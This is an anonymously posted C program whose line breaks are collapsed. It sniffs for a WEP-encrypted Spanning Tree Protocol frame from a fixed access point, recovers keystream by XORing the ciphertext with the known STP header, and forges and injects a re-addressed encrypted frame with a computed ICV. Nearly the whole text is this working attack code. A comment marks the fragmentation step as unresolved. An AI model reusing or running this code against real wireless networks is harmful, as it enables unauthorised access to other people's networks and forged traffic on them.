Anonymous

#include <assert.h>#include <stdio.h>#include <unistd.h>#include <string.h>#include "osdep/osdep.h"#include "crypto.h"extern const unsigned long int crc_tbl[256];struct wif *wi;const uint8_t BSSID[]  = {0x00,0x40,0x10,0x20,0x00,0x03};const uint8_t STPDST[] = {0x01,0x80,0xC2,0x00,0x00,0x00};const uint8_t STPHDR[] = {0x42,0x42,0x03,0x00,0x00,0x00,0x00,0x00,						  0x80,0x00,0x00,0x40,0x10,0x20,0x00,0x01,						  0x00,0x00,0x00,0x00};const uint8_t NEWDST[] = {0x00,0x13,0xe8,0x5f,0x8b,0xe7}; //4965void add_icv(uint8_t *input, int len, int offset){    unsigned long crc = 0xFFFFFFFF;    int n=0;    for( n = offset; n < len; n++ )        crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);    crc = ~crc;    input[len]   = (crc      ) & 0xFF;    input[len+1] = (crc >>  8) & 0xFF;    input[len+2] = (crc >> 16) & 0xFF;    input[len+3] = (crc >> 24) & 0xFF;    return;}void dump_hex(const uint8_t *p, unsigned int len) {	unsigned int i;	for(i = 0; i < len; i++) {		printf("%02x ", *p++);		if ((i % 4) == 3) putchar(' ');		if ((i % 16) == 15) putchar('\n');	}	putchar('\n');}int main(void) {	uint8_t h80211[4096];	uint8_t ivk[4];	uint8_t encload[20];	uint8_t keystream[20];	int plen;	int i, rc;		wi = wi_open("commview.dll");	assert(wi != NULL);		assert(wi_set_channel(wi, 6) == 0);		printf("looking for STP...\n");		for (;;) {		struct rx_info ri;				rc = wi_read(wi, h80211, sizeof(h80211), &ri);		if (rc <= 0)			printf("wi_read: rc=%d\n", rc);				if (rc>=24 &&			h80211[0]==0x08 &&			h80211[1]==0x42 &&			!memcmp(h80211+4, STPDST, 6) &&			!memcmp(h80211+10, BSSID, 6)) {			break;		}	}		//Extract	memcpy(ivk, h80211+24, 4);	memcpy(encload, h80211+24+4, 20);		//Derive keystream	for(i = 0; i < 20; i++)		keystream[i] = encload[i] ^ STPHDR[i];		printf("found STP len %d, IV %02x%02x%02x, ki %02x\n",		rc, ivk[0], ivk[1], ivk[2], ivk[3]);	dump_hex(h80211, rc);		//Build: new destination	memcpy(h80211+4, NEWDST, 6);	plen=24;		//Build: set fragment bit, fragment number?	//???		//Build: Same iv and keyindex	memcpy(h80211+24, ivk, 4); plen += 4;		//Build: First 20 bytes of (cleartext) payload	memcpy(&h80211[plen], STPHDR, 16); plen += 16;	//Build: ICV	assert(plen == 24+4+16);	add_icv(h80211,plen,24+4); plen += 4;		printf("calculated icv: %02x%02x%02x%02x\n",		h80211[plen-4],h80211[plen-3],h80211[plen-2],h80211[plen-1]);	//Build: encrypt	for(i=0;i<plen-24-4;i++)		h80211[24+4+i] ^= keystream[i];	//Send	printf("sending %d bytes:\n", plen);	dump_hex(h80211, plen);	assert(plen == 24+4+16+4);	wi_write(wi,h80211,plen,NULL);		wi_close(wi);	return 0;}